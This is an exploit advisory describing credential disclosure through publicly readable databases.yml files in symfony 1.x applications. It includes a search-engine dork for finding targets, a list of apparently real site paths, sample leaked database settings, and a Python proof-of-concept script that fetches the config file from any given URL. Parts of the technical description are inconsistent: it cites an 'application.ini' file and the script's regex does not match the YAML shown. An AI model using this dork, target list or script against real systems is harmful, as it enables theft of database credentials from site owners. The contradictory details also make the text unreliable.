Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure

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# Exploit Title : Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 10/05/2019  
# Vendor Homepage : symfony.com  
# Information : symfony-project.org/reference/1_4/en/07-Databases  
# Software Versions : 1.x and All Versions  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : class: sfDoctrineDatabase inurl:/config/databases.yml  
# Vulnerability Type :   
CWE-16 [ Configuration ]  
CWE-200 [ Information Exposure ]  
CWE-538 [ File and Directory Information Exposure ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Impact :  
***********  
Symphony Project sfDoctrinePropel 1.x configuration file may potentially disclose   
sensitive information to remote attackers.  
The username and password of the database may be obtained trough the "application.ini" file.  
This is going to have an impact on confidentiality, integrity, and availability.  
The configuration file unintentionally stored in /config/databases.yml  
HTTP requests consisting of a single character will cause the software to disclose sensitive   
configuration information, including the password/database to the administrative web interface.  
This file is installed, by default, with world readable and possibly world writeable permissions enabled.   
This may have some potentially serious consequences as the configuration file   
also stores password information in plain text.  
This issue occurs because access controls on configuration files are not properly set.   
An attacker can exploit this issue to retrieve potentially sensitive information.   
Attackers can access config file via URL request. This may aid in further attacks.   
The access to the /configs directory should be restricted with an adequate   
countermeasure by the use of a .htaccess file.  
* The product stores sensitive information in files or directories that are accessible to actors   
outside of the intended control sphere.  
* An information exposure is the intentional or unintentional disclosure of information to an actor   
that is not explicitly authorized to have access to that information.  
  
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# Database Configuration File Disclosure Exploit :  
*******************************************  
/config/databases.yml  
  
/PATH/config/databases.yml  
  
/becados1/config/databases.yml  
  
/ganaton/config/databases.yml  
  
/listing/config/databases.yml  
  
/srp/config/databases.yml  
  
/tauri/tauriExpeditions/exped/config/databases.yml  
  
/mayotte/config/databases.yml  
  
/economicos/config/databases.yml  
  
Information :  
*************  
class: sfDoctrineDatabase  
dsn: pgsql:host=[IPADDRESS];dbname=becas  
username:   
password:   
  
class: sfPropelDatabase  
param:  
phptype: mysql # Database vendor  
hostspec:   
database:   
username:   
password:   
  
Exploit - Proof of Concept :  
**************************  
#!/usr/bin/python  
import string  
import re  
from urllib2 import Request, urlopen  
disc = "/config/databases.yml"  
url = raw_input ("URL: ")  
req = Request(url+disc)  
rta = urlopen(req)  
print "Result"  
html = rta.read()  
rdo = str(re.findall("resources.*=*", html))  
print rdo  
exit  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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